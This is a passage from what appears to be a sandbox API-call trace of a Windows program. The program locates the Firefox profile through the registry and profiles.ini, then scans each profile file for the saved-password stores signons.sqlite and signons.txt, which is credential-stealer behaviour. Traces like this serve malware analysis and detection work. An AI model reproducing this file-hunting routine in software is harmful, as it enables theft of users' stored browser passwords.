hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0070.912] RegCloseKey (hKey=0x130) returned 0x0 [0070.912] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0070.912] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0070.912] RegCloseKey (hKey=0x130) returned 0x0 [0070.912] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0070.912] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0070.912] RegCloseKey (hKey=0x130) returned 0x0 [0070.912] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0070.912] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0070.912] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="bin", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0070.912] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0070.912] lstrlenA (lpString="\\") returned 1 [0070.912] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0070.912] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0070.912] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0070.912] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0070.912] lstrlenA (lpString="bin") returned 3 [0070.912] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x647440 [0070.912] lstrcpyA (in: lpString1=0x647440, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0070.912] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="bin" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\bin") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\bin" [0070.912] LocalFree (hMem=0x6293a8) returned 0x0 [0070.912] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", lpSrch="Firefox") returned="Firefox 25.0\\bin" [0070.912] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0070.912] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x1, lpData=0x0, lpcbData=0x12fd0c*=0x2d) returned 0x0 [0070.912] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6474f8 [0070.912] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x6474f8, lpcbData=0x12fd0c*=0x2d | out: lpType=0x0, lpData=0x6474f8*=0x43, lpcbData=0x12fd0c*=0x2d) returned 0x0 [0070.912] RegCloseKey (hKey=0x134) returned 0x0 [0070.912] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0070.912] lstrlenA (lpString="") returned 0 [0070.912] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x6475b0 [0070.913] lstrcpyA (in: lpString1=0x6475b0, lpString2="C:\\Program Files\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0070.913] lstrcatA (in: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0070.913] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0070.913] StrStrIA (lpFirst="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0070.913] StrRChrIA (lpStart="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0070.913] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0070.913] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0070.913] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0070.913] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0070.913] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0070.913] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0070.913] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0070.913] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.913] LocalFree (hMem=0x626a88) returned 0x0 [0070.913] GetFileAttributesA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0070.913] GetFileAttributesA (lpFileName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 0x10 [0070.913] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.913] lstrlenA (lpString="") returned 0 [0070.913] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643b68 [0070.913] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.913] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.913] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.913] lstrlenA (lpString="profiles.ini") returned 12 [0070.913] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x65e350 [0070.913] lstrcpyA (in: lpString1=0x65e350, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.913] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0070.913] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x662338 [0070.914] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x6721b0 [0070.914] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x134 [0070.914] CloseHandle (hObject=0x135) returned 1 [0070.914] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x662338, nSize=0xfde8, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0070.915] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0070.915] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0070.915] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x6721b0, nSize=0xfff, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/h231daer.default") returned 0x19 [0070.916] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0070.916] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0070.916] lstrlenA (lpString="Profiles/h231daer.default") returned 25 [0070.916] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0070.916] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0070.916] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default" [0070.916] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.916] lstrlenA (lpString="\\*.*") returned 4 [0070.917] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0070.917] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.917] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0070.917] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 0x6426a8 [0070.917] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.917] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.917] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.917] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.917] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.917] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0070.917] lstrlenA (lpString="addons.json") returned 11 [0070.917] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0070.917] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0070.917] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0070.917] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.917] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0070.917] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0070.917] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.917] lstrlenA (lpString="\\") returned 1 [0070.917] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.917] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.917] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.917] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.917] lstrlenA (lpString="bookmarkbackups") returned 15 [0070.917] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x65d330 [0070.917] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.917] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.917] LocalFree (hMem=0x6275a8) returned 0x0 [0070.917] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0070.917] lstrlenA (lpString="\\*.*") returned 4 [0070.917] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x641518 [0070.917] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0070.917] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0070.917] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0070.918] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.918] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.918] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.918] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.918] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.918] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.918] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0070.918] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0070.918] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0070.918] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0070.919] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.919] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0070.919] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0070.919] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0070.919] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0070.919] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0070.919] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0070.919] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.919] LocalFree (hMem=0x641518) returned 0x0 [0070.919] LocalFree (hMem=0x65d330) returned 0x0 [0070.919] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.919] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="cert8.db") returned 8 [0070.920] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="compatibility.ini") returned 17 [0070.920] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0070.920] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="cookies.sqlite") returned 14 [0070.920] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="downloads.sqlite") returned 16 [0070.920] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="extensions.ini") returned 14 [0070.920] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.920] lstrlenA (lpString="extensions.sqlite") returned 17 [0070.920] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.920] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.920] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.920] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0070.920] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0070.920] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.920] lstrlenA (lpString="\\") returned 1 [0070.920] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.920] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.920] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.920] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.921] lstrlenA (lpString="healthreport") returned 12 [0070.921] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0070.921] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.921] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.921] LocalFree (hMem=0x6275a8) returned 0x0 [0070.921] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0070.921] lstrlenA (lpString="\\*.*") returned 4 [0070.921] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x65d330 [0070.921] lstrcpyA (in: lpString1=0x65d330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0070.921] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0070.921] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0x6426e8 [0070.921] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.921] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 1 [0070.921] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.921] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.921] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa42 | out: lpFindFileData=0x12fa42) returned 0 [0070.921] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0070.921] LocalFree (hMem=0x65d330) returned 0x0 [0070.921] LocalFree (hMem=0x65b348) returned 0x0 [0070.921] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.921] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.921] lstrlenA (lpString="healthreport.sqlite") returned 19 [0070.921] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0070.921] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.921] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.921] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbaa | out: lpFindFileData=0x12fbaa) returned 1 [0070.921] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0070.921] lstrcmpiA (lpString1="..", 